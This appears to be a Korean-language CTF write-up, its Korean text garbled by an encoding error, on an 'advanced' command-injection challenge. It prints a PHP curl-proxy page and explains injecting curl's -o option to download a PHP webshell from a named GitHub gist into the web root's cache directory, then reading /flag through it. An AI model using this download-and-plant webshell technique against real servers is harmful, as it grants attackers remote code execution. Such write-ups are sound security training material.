[2025-07-26] Command Injection advanced
๐ฆฅ ๋ณธ๋ฌธ
- index.php
<html>
<head></head>
<link rel="stylesheet" href="/static/bulma.min.css" />
<body>
<div class="container card">
<div class="card-content">
<h1 class="title">Online Curl Request</h1>
<?php
if(isset($_GET['url'])){
$url = $_GET['url'];
if(strpos($url, 'http') !== 0 ){
die('http only !');
}else{
$result = shell_exec('curl '. escapeshellcmd($_GET['url']));
$cache_file = './cache/'.md5($url);
file_put_contents($cache_file, $result);
echo "<p>cache file: <a href='{$cache_file}'>{$cache_file}</a></p>";
echo '<pre>'. htmlentities($result) .'</pre>';
return;
}
}else{
?>
<form>
<div class="field">
<label class="label">URL</label>
<input class="input" type="text" placeholder="url" name="url" required>
</div>
<div class="control">
<input class="button is-success" type="submit" value="submit">
</div>
</form>
<?php
}
?>
</div>
</div>
</body>
</html>
$_GET[โurlโ]์ ํตํด url์ ๋ฐ๋ ๋ฐ, http๋ก ์์ํ๋ฉด die()๋ฅผ ์คํํ๋ค.
escpaeshellcmd๋ฅผ ํตํด ์ธ์ ์ ์ ๋ณดํธํ๊ณ curl ์ ํตํด ์ ธ ๋ช ๋ น์ด๋ฅผ ์คํ์ํจ๋ค. ํด๋น url์ cache ๋๋ ํ ๋ฆฌ ๋ฐ์ ํด์ฑํ์ฌ ์ ์ฅํ๋ค.
ํ์ด
-o
์ธ์๋ฅผ ํตํด ์น์
ธ ํ์ผ์ ์
๋ก๋ํ์ฌ ์คํํด์ผ FLAG ํ์ผ์ ์ ์ ์๋ค.
- ์น์ ์ฝ๋๊ฐ ํฌํจ๋ ์๋ฒ๋ฅผ ๋ง๋ฆ
- ํด๋น ์น์ ์ฝ๋๋ฅผ ๋ฐฉ๋ฌธํ๊ณ -o ์ธ์๋ฅผ ํตํด ์คํ ๊ฒฐ๊ณผ๋ฅผ ์ ์ฅ
- ํด๋น ํ์ผ์ ์ ๊ทผํ์ฌ flag ๋ฅผ ์์๋ผ ์ ์๋ค.
์์ ๊ฐ์ ๋ฐฉ๋ฒ์ ์๋ฒ๊ฐ ์์ด์ผ ํด์ ๋ค๋ฅธ ๋ฐฉ๋ฒ Github raw file ๋งํฌ๋ฅผ ์ด์ฉํ ๋ฐฉ๋ฒ์ด ์๋ค.
github raw file ๋งํฌ๋ ์๋ต body์ ํด๋น ์ฝ๋๋ฅผ ๋ณด๋ด์ค์ ํด๋น ์ฝ๋๋ฅผ ๋ณผ ์ ์๋ ํ์ผ์ด๋ค.
- ์น์ ์ฝ๋๋ฅผ ์๋ต ๋ฐ๋๋ก ๋ณด๋ด๋ gitraw file ๋งํฌ
https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/50008b4501ccb7f804a61bc2e1a3d1df1cb403c4/easy-simple-php-webshell.php
- ํด๋น ๋งํฌ์๋ค ์๋์ ์ฝ๋๋ฅผ ์ถ๊ฐํ์ฌ webshell.php ํ์ผ์ ๋ง๋ ๋ค
-o /var/www/html/cache/webshell.php
- cache/webshell.php์ ์ ์ํ์ฌ ์น์ ์ฝ๋์
/flag
์ ์ ๊ทผํ์ฌ flag๋ฅผ ํ๋ํ๋ค.
Leave a comment